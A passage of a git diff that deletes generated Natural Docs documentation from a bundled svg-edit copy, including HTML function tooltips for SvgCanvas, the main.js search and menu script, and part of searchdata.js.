nowrap>type,</td></tr><tr><td></td><td class=PParameter nowrap>relative_to</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Aligns selected elements</div></div><div class=CToolTip id="tt7"><div class=CFunction>Runs &ldquo;apply&rdquo; on all subcommands</div></div><div class=CToolTip id="tt8"><div class=CFunction>Performs the stored change action</div></div><div class=CToolTip id="tt9"><div class=CFunction>Re-Inserts the new element</div></div><div class=CToolTip id="tt10"><div class=CFunction>Re-removes the new element</div></div><div class=CToolTip id="tt11"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var assignAttributes = this.assignAttributes = function(</td><td class=PParameter nowrap>node,</td></tr><tr><td></td><td class=PParameter nowrap>attrs,</td></tr><tr><td></td><td class=PParameter nowrap>suspendLength,</td></tr><tr><td></td><td class=PParameter nowrap>unitCheck</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Assigns multiple attributes to an element.</div></div><!--END_ND_TOOLTIPS-->
-
-
-<!--START_ND_TOOLTIPS-->
-<div class=CToolTip id="tt12"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var BatchCommand = this.undoCmd.batch = function(</td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>History command that can contain/execute multiple other commands</div></div><div class=CToolTip id="tt13"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>c.beginUndoableChange = function(</td><td class=PParameter nowrap>attrName,</td></tr><tr><td></td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>This function tells the canvas to remember the old values of the attrName attribute for each element sent in. </div></div><div class=CToolTip id="tt14"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>c.bind = function(</td><td class=PParameter nowrap>event,</td></tr><tr><td></td><td class=PParameter nowrap>f</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Attaches a callback function to an event</div></div><!--END_ND_TOOLTIPS-->
-
-
-<!--START_ND_TOOLTIPS-->
-<div class=CToolTip id="tt15"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var ChangeElementCommand = this.undoCmd.changeElement = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>attrs,</td></tr><tr><td></td><td class=PParameter nowrap>text</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>History command to make a change to an element. </div></div><div class=CToolTip id="tt16"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var changeSelectedAttribute = this.changeSelectedAttribute = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Change the given/selected element and add the original value to the history stack If you want to change all selectedElements, ignore the elems argument. </div></div><div class=CToolTip id="tt17"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var changeSelectedAttributeNoUndo = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>newValue,</td></tr><tr><td></td><td class=PParameter nowrap>elems</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>This function makes the changes to the elements. </div></div><div class=CToolTip id="tt18"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var cleanupElement = this.cleanupElement = function(</td><td class=PParameter nowrap>element</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Remove unneeded (default) attributes, makes resulting SVG smaller</div></div><div class=CToolTip id="tt19"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.clear = function()</td></tr></table></blockquote>Clears the current document. </div></div><div class=CToolTip id="tt20"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var clearSelection = this.clearSelection = function(</td><td class=PParameter nowrap>noCall</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Clears the selection. </div></div><div class=CToolTip id="tt21"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.cloneSelectedElements = function()</td></tr></table></blockquote>Create deep DOM copies (clones) of all selected elements and move them slightly from their originals</div></div><div class=CToolTip id="tt22"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>convertToNum = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Converts given values to numbers. </div></div><div class=CToolTip id="tt23"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.convertToPath = function(</td><td class=PParameter nowrap>elem,</td></tr><tr><td></td><td class=PParameter nowrap>getBBox</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Convert selected element to a path, or get the BBox of an element-as-path</div></div><div class=CToolTip id="tt24"><div class=CFunction>Converts a string to use XML references</div></div><div class=CToolTip id="tt25"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var copyElem = function(</td><td class=PParameter nowrap>el</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Create a clone of an element, updating its ID and its children&rsquo;s IDs when needed</div></div><div class=CToolTip id="tt26"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.createLayer = function(</td><td class=PParameter nowrap>name</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Creates a new top-level layer in the drawing with the given name, sets the current layer to it, and then clears the selection  This function then calls the &lsquo;changed&rsquo; handler. </div></div><div class=CToolTip id="tt27"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.cycleElement = function(</td><td class=PParameter nowrap>next</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Select the next/previous element within the current layer</div></div><!--END_ND_TOOLTIPS-->
-
-
-<!--START_ND_TOOLTIPS-->
-<div class=CToolTip id="tt28"><div class=CFunction>Converts a string from base64</div></div><div class=CToolTip id="tt29"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.deleteCurrentLayer = function()</td></tr></table></blockquote>Deletes the current layer from the drawing and then clears the selection. </div></div><div class=CToolTip id="tt30"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.deleteSelectedElements = function()</td></tr></table></blockquote>Removes all selected elements from the DOM and adds the change to the history stack</div></div><!--END_ND_TOOLTIPS-->
-
-
-<!--START_ND_TOOLTIPS-->
-<div class=CToolTip id="tt31"><div class=CFunction>Iterate through all our subcommands and returns all the elements we are changing</div></div><div class=CToolTip id="tt32"><div class=CFunction>Returns array with element associated with this command</div></div><div class=CToolTip id="tt33"><div class=CFunction>Returns array with element associated with this command</div></div><div class=CToolTip id="tt34"><div class=CFunction>Returns array with element associated with this command</div></div><div class=CToolTip id="tt35"><div class=CFunction>Returns array with element associated with this command</div></div><div class=CToolTip id="tt36"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.embedImage = function(</td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>callback</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Converts a given image file to a data URL when possible, then runs a given callback</div></div><div class=CToolTip id="tt37"><div class=CFunction>Converts a string to base64</div></div><!--END_ND_TOOLTIPS-->
-
-
-<!--START_ND_TOOLTIPS-->
-<div class=CToolTip id="tt38"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var ffClone = function(</td><td class=PParameter nowrap>elem</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Hack for Firefox bugs where text element features aren&rsquo;t updated. </div></div><div class=CToolTip id="tt39"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var findDefs = function()</td></tr></table></blockquote>Return the document&rsquo;s defs element, create it first if necessary</div></div><div class=CToolTip id="tt40"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var findDuplicateGradient = function(</td><td class=PParameter nowrap>grad</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote>Check if exact gradient already exists</div></div><div class=CToolTip id="tt41"><div class=CFunction><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>c.finishUndoableChange = function()</td></tr></table></blockquote>This function returns a BatchCommand object which summarizes the change since beginUndoableChange was called. </div></div><div class=CToolTip id="tt42"><div class=CFunction>Converts XML entities in a string to single characters. </div></div><!--END_ND_TOOLTIPS-->
-
-</div><!--Index-->
-
-
-<div id=Footer><a href="http://www.naturaldocs.org">Generated by Natural Docs</a></div><!--Footer-->
-
-
-<div id=Menu><div class=MEntry><div class=MFile><a href="../files/extensions/ext-foreignobject-js.html">setForeignString(xmlString, elt)</a></div></div><div class=MEntry><div class=MFile><a href="../files/svgcanvas-js.html">SvgCanvas</a></div></div><div class=MEntry><div class=MGroup><a href="javascript:ToggleMenu('MGroupContent1')">Index</a><div class=MGroupContent id=MGroupContent1><div class=MEntry><div class=MIndex id=MSelected>Everything</div></div><div class=MEntry><div class=MIndex><a href="Classes.html">Classes</a></div></div><div class=MEntry><div class=MIndex><a href="Functions.html">Functions</a></div></div><div class=MEntry><div class=MIndex><a href="Interfaces.html">Interfaces</a></div></div></div></div></div><script type="text/javascript"><!--
-var searchPanel = new SearchPanel("searchPanel", "HTML", "../search");
---></script><div id=MSearchPanel class=MSearchPanelInactive><input type=text id=MSearchField value=Search onFocus="searchPanel.OnSearchFieldFocus(true)" onBlur="searchPanel.OnSearchFieldFocus(false)" onKeyUp="searchPanel.OnSearchFieldChange()"><select id=MSearchType onFocus="searchPanel.OnSearchTypeFocus(true)" onBlur="searchPanel.OnSearchTypeFocus(false)" onChange="searchPanel.OnSearchTypeChange()"><option  id=MSearchEverything selected value="General">Everything</option><option value="Classes">Classes</option><option value="Functions">Functions</option><option value="Interfaces">Interfaces</option></select></div></div><!--Menu-->
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-if (browserType) {if (browserVer) {document.write("</div>"); }document.write("</div>");}// --></script></body></html>
\ No newline at end of file
diff --git a/public/svg-edit/docs/javascript/main.js b/public/svg-edit/docs/javascript/main.js
deleted file mode 100644
index efcdca96..00000000
--- a/public/svg-edit/docs/javascript/main.js
+++ /dev/null
@@ -1,836 +0,0 @@
-// This file is part of Natural Docs, which is Copyright (C) 2003-2008 Greg Valure
-// Natural Docs is licensed under the GPL
-
-
-//
-//  Browser Styles
-// ____________________________________________________________________________
-
-var agt=navigator.userAgent.toLowerCase();
-var browserType;
-var browserVer;
-
-if (agt.indexOf("opera") != -1)
-    {
-    browserType = "Opera";
-
-    if (agt.indexOf("opera 7") != -1 || agt.indexOf("opera/7") != -1)
-        {  browserVer = "Opera7";  }
-    else if (agt.indexOf("opera 8") != -1 || agt.indexOf("opera/8") != -1)
-        {  browserVer = "Opera8";  }
-    else if (agt.indexOf("opera 9") != -1 || agt.indexOf("opera/9") != -1)
-        {  browserVer = "Opera9";  }
-    }
-
-else if (agt.indexOf("applewebkit") != -1)
-    {
-    browserType = "Safari";
-
-    if (agt.indexOf("version/3") != -1)
-        {  browserVer = "Safari3";  }
-    else if (agt.indexOf("safari/4") != -1)
-        {  browserVer = "Safari2";  }
-    }
-
-else if (agt.indexOf("khtml") != -1)
-    {
-    browserType = "Konqueror";
-    }
-
-else if (agt.indexOf("msie") != -1)
-    {
-    browserType = "IE";
-
-    if (agt.indexOf("msie 6") != -1)
-        {  browserVer = "IE6";  }
-    else if (agt.indexOf("msie 7") != -1)
-        {  browserVer = "IE7";  }
-    }
-
-else if (agt.indexOf("gecko") != -1)
-    {
-    browserType = "Firefox";
-
-    if (agt.indexOf("rv:1.7") != -1)
-        {  browserVer = "Firefox1";  }
-    else if (agt.indexOf("rv:1.8)") != -1 || agt.indexOf("rv:1.8.0") != -1)
-        {  browserVer = "Firefox15";  }
-    else if (agt.indexOf("rv:1.8.1") != -1)
-        {  browserVer = "Firefox2";  }
-    }
-
-
-//
-//  Support Functions
-// ____________________________________________________________________________
-
-
-function GetXPosition(item)
-    {
-    var position = 0;
-
-    if (item.offsetWidth != null)
-        {
-        while (item != document.body && item != null)
-            {
-            position += item.offsetLeft;
-            item = item.offsetParent;
-            };
-        };
-
-    return position;
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-
-
-function GetYPosition(item)
-    {
-    var position = 0;
-
-    if (item.offsetWidth != null)
-        {
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-            {
-            position += item.offsetTop;
-            item = item.offsetParent;
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-function MoveToPosition(item, x, y)
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-        item.style.top = y + "px";
-        }
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-        item.style.pixelLeft = x;
-        item.style.pixelTop = y;
-        };
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-
-
-//
-//  Menu
-// ____________________________________________________________________________
-
-
-function ToggleMenu(id)
-    {
-    if (!window.document.getElementById)
-        {  return;  };
-
-    var display = window.document.getElementById(id).style.display;
-
-    if (display == "none")
-        {  display = "block";  }
-    else
-        {  display = "none";  }
-
-    window.document.getElementById(id).style.display = display;
-    }
-
-function HideAllBut(ids, max)
-    {
-    if (document.getElementById)
-        {
-        ids.sort( function(a,b) { return a - b; } );
-        var number = 1;
-
-        while (number < max)
-            {
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-                document.getElementById("MGroupContent" + number).style.display = "none";
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-
-            number++;
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-
-
-//
-//  Tooltips
-// ____________________________________________________________________________
-
-
-var tooltipTimer = 0;
-
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-    if (tooltipTimer)
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-
-    var docX = event.clientX + window.pageXOffset;
-    var docY = event.clientY + window.pageYOffset;
-
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-
-    tooltipTimer = setTimeout(showCommand, 1000);
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-    tooltipTimer = 0;
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-        top += 10;
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-        // Make sure the tooltip doesnt get smushed by being too close to the edge, or in some browsers, go off the edge of the
-        // page.  We do it here because Konqueror does get offsetWidth right even if it doesnt get the positioning right.
-
-        if (tooltip.offsetWidth != null)
-            {
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-            var docWidth = document.body.clientWidth;
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-            // If there's a horizontal scroll bar we could go past zero because it's using the page width, not the window width.
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-    var tooltip;
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-    if (document.getElementById)
-        {  tooltip = document.getElementById(tooltipID); }
-    else if (document.all)
-        {  tooltip = eval("document.all['" + tooltipID + "']");  }
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-    if (tooltip)
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-
-//
-//  Blockquote fix for IE
-// ____________________________________________________________________________
-
-
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-function NDDoResize()
-    {
-    var scrollboxes = document.getElementsByTagName('blockquote');
-
-    var i;
-    var item;
-
-    i = 0;
-    while (item = scrollboxes.item(i))
-        {
-        item.style.width = 100;
-        i++;
-        };
-
-    i = 0;
-    while (item = scrollboxes.item(i))
-        {
-        item.style.width = item.parentNode.offsetWidth;
-        i++;
-        };
-
-    clearTimeout(resizeTimer);
-    resizeTimer = 0;
-    }
-
-
-
-/* ________________________________________________________________________________________________________
-
-    Class: SearchPanel
-    ________________________________________________________________________________________________________
-
-    A class handling everything associated with the search panel.
-
-    Parameters:
-
-        name - The name of the global variable that will be storing this instance.  Is needed to be able to set timeouts.
-        mode - The mode the search is going to work in.  Pass <NaturalDocs::Builder::Base->CommandLineOption()>, so the
-                   value will be something like "HTML" or "FramedHTML".
-
-    ________________________________________________________________________________________________________
-*/
-
-
-function SearchPanel(name, mode, resultsPath)
-    {
-    if (!name || !mode || !resultsPath)
-        {  alert("Incorrect parameters to SearchPanel.");  };
-
-
-    // Group: Variables
-    // ________________________________________________________________________
-
-    /*
-        var: name
-        The name of the global variable that will be storing this instance of the class.
-    */
-    this.name = name;
-
-    /*
-        var: mode
-        The mode the search is going to work in, such as "HTML" or "FramedHTML".
-    */
-    this.mode = mode;
-
-    /*
-        var: resultsPath
-        The relative path from the current HTML page to the results page directory.
-    */
-    this.resultsPath = resultsPath;
-
-    /*
-        var: keyTimeout
-        The timeout used between a keystroke and when a search is performed.
-    */
-    this.keyTimeout = 0;
-
-    /*
-        var: keyTimeoutLength
-        The length of <keyTimeout> in thousandths of a second.
-    */
-    this.keyTimeoutLength = 500;
-
-    /*
-        var: lastSearchValue
-        The last search string executed, or an empty string if none.
-    */
-    this.lastSearchValue = "";
-
-    /*
-        var: lastResultsPage
-        The last results page.  The value is only relevant if <lastSearchValue> is set.
-    */
-    this.lastResultsPage = "";
-
-    /*
-        var: deactivateTimeout
-
-        The timeout used between when a control is deactivated and when the entire panel is deactivated.  Is necessary
-        because a control may be deactivated in favor of another control in the same panel, in which case it should stay
-        active.
-    */
-    this.deactivateTimout = 0;
-
-    /*
-        var: deactivateTimeoutLength
-        The length of <deactivateTimeout> in thousandths of a second.
-    */
-    this.deactivateTimeoutLength = 200;
-
-
-
-
-    // Group: DOM Elements
-    // ________________________________________________________________________
-
-
-    // Function: DOMSearchField
-    this.DOMSearchField = function()
-        {  return document.getElementById("MSearchField");  };
-
-    // Function: DOMSearchType
-    this.DOMSearchType = function()
-        {  return document.getElementById("MSearchType");  };
-
-    // Function: DOMPopupSearchResults
-    this.DOMPopupSearchResults = function()
-        {  return document.getElementById("MSearchResults");  };
-
-    // Function: DOMPopupSearchResultsWindow
-    this.DOMPopupSearchResultsWindow = function()
-        {  return document.getElementById("MSearchResultsWindow");  };
-
-    // Function: DOMSearchPanel
-    this.DOMSearchPanel = function()
-        {  return document.getElementById("MSearchPanel");  };
-
-
-
-
-    // Group: Event Handlers
-    // ________________________________________________________________________
-
-
-    /*
-        Function: OnSearchFieldFocus
-        Called when focus is added or removed from the search field.
-    */
-    this.OnSearchFieldFocus = function(isActive)
-        {
-        this.Activate(isActive);
-        };
-
-
-    /*
-        Function: OnSearchFieldChange
-        Called when the content of the search field is changed.
-    */
-    this.OnSearchFieldChange = function()
-        {
-        if (this.keyTimeout)
-            {
-            clearTimeout(this.keyTimeout);
-            this.keyTimeout = 0;
-            };
-
-        var searchValue = this.DOMSearchField().value.replace(/ +/g, "");
-
-        if (searchValue != this.lastSearchValue)
-            {
-            if (searchValue != "")
-                {
-                this.keyTimeout = setTimeout(this.name + ".Search()", this.keyTimeoutLength);
-                }
-            else
-                {
-                if (this.mode == "HTML")
-                    {  this.DOMPopupSearchResultsWindow().style.display = "none";  };
-                this.lastSearchValue = "";
-                };
-            };
-        };
-
-
-    /*
-        Function: OnSearchTypeFocus
-        Called when focus is added or removed from the search type.
-    */
-    this.OnSearchTypeFocus = function(isActive)
-        {
-        this.Activate(isActive);
-        };
-
-
-    /*
-        Function: OnSearchTypeChange
-        Called when the search type is changed.
-    */
-    this.OnSearchTypeChange = function()
-        {
-        var searchValue = this.DOMSearchField().value.replace(/ +/g, "");
-
-        if (searchValue != "")
-            {
-            this.Search();
-            };
-        };
-
-
-
-    // Group: Action Functions
-    // ________________________________________________________________________
-
-
-    /*
-        Function: CloseResultsWindow
-        Closes the results window.
-    */
-    this.CloseResultsWindow = function()
-        {
-        this.DOMPopupSearchResultsWindow().style.display = "none";
-        this.Activate(false, true);
-        };
-
-
-    /*
-        Function: Search
-        Performs a search.
-    */
-    this.Search = function()
-        {
-        this.keyTimeout = 0;
-
-        var searchValue = this.DOMSearchField().value.replace(/^ +/, "");
-        var searchTopic = this.DOMSearchType().value;
-
-        var pageExtension = searchValue.substr(0,1);
-
-        if (pageExtension.match(/^[a-z]/i))
-            {  pageExtension = pageExtension.toUpperCase();  }
-        else if (pageExtension.match(/^[0-9]/))
-            {  pageExtension = 'Numbers';  }
-        else
-            {  pageExtension = "Symbols";  };
-
-        var resultsPage;
-        var resultsPageWithSearch;
-        var hasResultsPage;
-
-        // indexSectionsWithContent is defined in searchdata.js
-        if (indexSectionsWithContent[searchTopic][pageExtension] == true)
-            {
-            resultsPage = this.resultsPath + '/' + searchTopic + pageExtension + '.html';
-            resultsPageWithSearch = resultsPage+'?'+escape(searchValue);
-            hasResultsPage = true;
-            }
-        else
-            {
-            resultsPage = this.resultsPath + '/NoResults.html';
-            resultsPageWithSearch = resultsPage;
-            hasResultsPage = false;
-            };
-
-        var resultsFrame;
-        if (this.mode == "HTML")
-            {  resultsFrame = window.frames.MSearchResults;  }
-        else if (this.mode == "FramedHTML")
-            {  resultsFrame = window.top.frames['Content'];  };
-
-
-        if (resultsPage != this.lastResultsPage ||
-
-            // Bug in IE.  If everything becomes hidden in a run, none of them will be able to be reshown in the next for some
-            // reason.  It counts the right number of results, and you can even read the display as "block" after setting it, but it
-            // just doesn't work in IE 6 or IE 7.  So if we're on the right page but the previous search had no results, reload the
-            // page anyway to get around the bug.
-            (browserType == "IE" && hasResultsPage &&
-            	(!resultsFrame.searchResults || resultsFrame.searchResults.lastMatchCount == 0)) )
-
-            {
-            resultsFrame.location.href = resultsPageWithSearch;
-            }
-
-        // So if the results page is right and there's no IE bug, reperform the search on the existing page.  We have to check if there
-        // are results because NoResults.html doesn't have any JavaScript, and it would be useless to do anything on that page even
-        // if it did.
-        else if (hasResultsPage)
-            {
-            // We need to check if this exists in case the frame is present but didn't finish loading.
-            if (resultsFrame.searchResults)
-                {  resultsFrame.searchResults.Search(searchValue);  }
-
-            // Otherwise just reload instead of waiting.
-            else
-                {  resultsFrame.location.href = resultsPageWithSearch;  };
-            };
-
-
-        var domPopupSearchResultsWindow = this.DOMPopupSearchResultsWindow();
-
-        if (this.mode == "HTML" && domPopupSearchResultsWindow.style.display != "block")
-            {
-            var domSearchType = this.DOMSearchType();
-
-            var left = GetXPosition(domSearchType);
-            var top = GetYPosition(domSearchType) + domSearchType.offsetHeight;
-
-            MoveToPosition(domPopupSearchResultsWindow, left, top);
-            domPopupSearchResultsWindow.style.display = 'block';
-            };
-
-
-        this.lastSearchValue = searchValue;
-        this.lastResultsPage = resultsPage;
-        };
-
-
-
-    // Group: Activation Functions
-    // Functions that handle whether the entire panel is active or not.
-    // ________________________________________________________________________
-
-
-    /*
-        Function: Activate
-
-        Activates or deactivates the search panel, resetting things to their default values if necessary.  You can call this on every
-        control's OnBlur() and it will handle not deactivating the entire panel when focus is just switching between them transparently.
-
-        Parameters:
-
-            isActive - Whether you're activating or deactivating the panel.
-            ignoreDeactivateDelay - Set if you're positive the action will deactivate the panel and thus want to skip the delay.
-    */
-    this.Activate = function(isActive, ignoreDeactivateDelay)
-        {
-        // We want to ignore isActive being false while the results window is open.
-        if (isActive || (this.mode == "HTML" && this.DOMPopupSearchResultsWindow().style.display == "block"))
-            {
-            if (this.inactivateTimeout)
-                {
-                clearTimeout(this.inactivateTimeout);
-                this.inactivateTimeout = 0;
-                };
-
-            this.DOMSearchPanel().className = 'MSearchPanelActive';
-
-            var searchField = this.DOMSearchField();
-
-            if (searchField.value == 'Search')
-                 {  searchField.value = "";  }
-            }
-        else if (!ignoreDeactivateDelay)
-            {
-            this.inactivateTimeout = setTimeout(this.name + ".InactivateAfterTimeout()", this.inactivateTimeoutLength);
-            }
-        else
-            {
-            this.InactivateAfterTimeout();
-            };
-        };
-
-
-    /*
-        Function: InactivateAfterTimeout
-
-        Called by <inactivateTimeout>, which is set by <Activate()>.  Inactivation occurs on a timeout because a control may
-        receive OnBlur() when focus is really transferring to another control in the search panel.  In this case we don't want to
-        actually deactivate the panel because not only would that cause a visible flicker but it could also reset the search value.
-        So by doing it on a timeout instead, there's a short period where the second control's OnFocus() can cancel the deactivation.
-    */
-    this.InactivateAfterTimeout = function()
-        {
-        this.inactivateTimeout = 0;
-
-        this.DOMSearchPanel().className = 'MSearchPanelInactive';
-        this.DOMSearchField().value = "Search";
-
-	    this.lastSearchValue = "";
-	    this.lastResultsPage = "";
-        };
-    };
-
-
-
-
-/* ________________________________________________________________________________________________________
-
-   Class: SearchResults
-   _________________________________________________________________________________________________________
-
-   The class that handles everything on the search results page.
-   _________________________________________________________________________________________________________
-*/
-
-
-function SearchResults(name, mode)
-    {
-    /*
-        var: mode
-        The mode the search is going to work in, such as "HTML" or "FramedHTML".
-    */
-    this.mode = mode;
-
-    /*
-        var: lastMatchCount
-        The number of matches from the last run of <Search()>.
-    */
-    this.lastMatchCount = 0;
-
-
-    /*
-        Function: Toggle
-        Toggles the visibility of the passed element ID.
-    */
-    this.Toggle = function(id)
-        {
-        if (this.mode == "FramedHTML")
-            {  return;  };
-
-        var parentElement = document.getElementById(id);
-
-        var element = parentElement.firstChild;
-
-        while (element && element != parentElement)
-            {
-            if (element.nodeName == 'DIV' && element.className == 'ISubIndex')
-                {
-                if (element.style.display == 'block')
-                    {  element.style.display = "none";  }
-                else
-                    {  element.style.display = 'block';  }
-                };
-
-            if (element.nodeName == 'DIV' && element.hasChildNodes())
-                {  element = element.firstChild;  }
-            else if (element.nextSibling)
-                {  element = element.nextSibling;  }
-            else
-                {
-                do
-                    {
-                    element = element.parentNode;
-                    }
-                while (element && element != parentElement && !element.nextSibling);
-
-                if (element && element != parentElement)
-                    {  element = element.nextSibling;  };
-                };
-            };
-        };
-
-
-    /*
-        Function: Search
-
-        Searches for the passed string.  If there is no parameter, it takes it from the URL query.
-
-        Always returns true, since other documents may try to call it and that may or may not be possible.
-    */
-    this.Search = function(search)
-        {
-        if (!search)
-            {
-            search = window.location.search;
-            search = search.substring(1);  // Remove the leading ?
-            search = unescape(search);
-            };
-
-        search = search.replace(/^ +/, "");
-        search = search.replace(/ +$/, "");
-        search = search.toLowerCase();
-
-        if (search.match(/[^a-z0-9]/)) // Just a little speedup so it doesn't have to go through the below unnecessarily.
-            {
-            search = search.replace(/\_/g, "_und");
-            search = search.replace(/\ +/gi, "_spc");
-            search = search.replace(/\~/g, "_til");
-            search = search.replace(/\!/g, "_exc");
-            search = search.replace(/\@/g, "_att");
-            search = search.replace(/\#/g, "_num");
-            search = search.replace(/\$/g, "_dol");
-            search = search.replace(/\%/g, "_pct");
-            search = search.replace(/\^/g, "_car");
-            search = search.replace(/\&/g, "_amp");
-            search = search.replace(/\*/g, "_ast");
-            search = search.replace(/\(/g, "_lpa");
-            search = search.replace(/\)/g, "_rpa");
-            search = search.replace(/\-/g, "_min");
-            search = search.replace(/\+/g, "_plu");
-            search = search.replace(/\=/g, "_equ");
-            search = search.replace(/\{/g, "_lbc");
-            search = search.replace(/\}/g, "_rbc");
-            search = search.replace(/\[/g, "_lbk");
-            search = search.replace(/\]/g, "_rbk");
-            search = search.replace(/\:/g, "_col");
-            search = search.replace(/\;/g, "_sco");
-            search = search.replace(/\"/g, "_quo");
-            search = search.replace(/\'/g, "_apo");
-            search = search.replace(/\</g, "_lan");
-            search = search.replace(/\>/g, "_ran");
-            search = search.replace(/\,/g, "_com");
-            search = search.replace(/\./g, "_per");
-            search = search.replace(/\?/g, "_que");
-            search = search.replace(/\//g, "_sla");
-            search = search.replace(/[^a-z0-9\_]i/gi, "_zzz");
-            };
-
-        var resultRows = document.getElementsByTagName("div");
-        var matches = 0;
-
-        var i = 0;
-        while (i < resultRows.length)
-            {
-            var row = resultRows.item(i);
-
-            if (row.className == "SRResult")
-                {
-                var rowMatchName = row.id.toLowerCase();
-                rowMatchName = rowMatchName.replace(/^sr\d*_/, '');
-
-                if (search.length <= rowMatchName.length && rowMatchName.substr(0, search.length) == search)
-                    {
-                    row.style.display = "block";
-                    matches++;
-                    }
-                else
-                    {  row.style.display = "none";  };
-                };
-
-            i++;
-            };
-
-        document.getElementById("Searching").style.display="none";
-
-        if (matches == 0)
-            {  document.getElementById("NoMatches").style.display="block";  }
-        else
-            {  document.getElementById("NoMatches").style.display="none";  }
-
-        this.lastMatchCount = matches;
-
-        return true;
-        };
-    };
-
diff --git a/public/svg-edit/docs/javascript/searchdata.js b/public/svg-edit/docs/javascript/searchdata.js
deleted file mode 100644
index eac176a3..00000000
--- a/public/svg-edit/docs/javascript/searchdata.js
+++ /dev/null
@@ -1,122 +0,0 @@
-var indexSectionsWithContent = {
-   "General": {
-      "Symbols": false,
-      "Numbers": false,
-      "A": true,
-      "B": false,
-      "C": true,
-      "D": true,
-      "E": false,
-      "F": true,
-      "G": true,
-      "H": true,
-      "I": true,
-      "J": false,
-      "K": false,
-      "L": true,
-      "M": true,
-      "N": false,
-      "O": true,
-      "P": false,
-      "Q": false,
-      "R": true,
-      "S": true,
-      "T": false,
-      "U": false,
-      "V": false,
-      "W": false,
-      "X": false,
-      "Y": false,
-      "Z": false
-      },
-   "Functions": {
-      "Symbols": false,
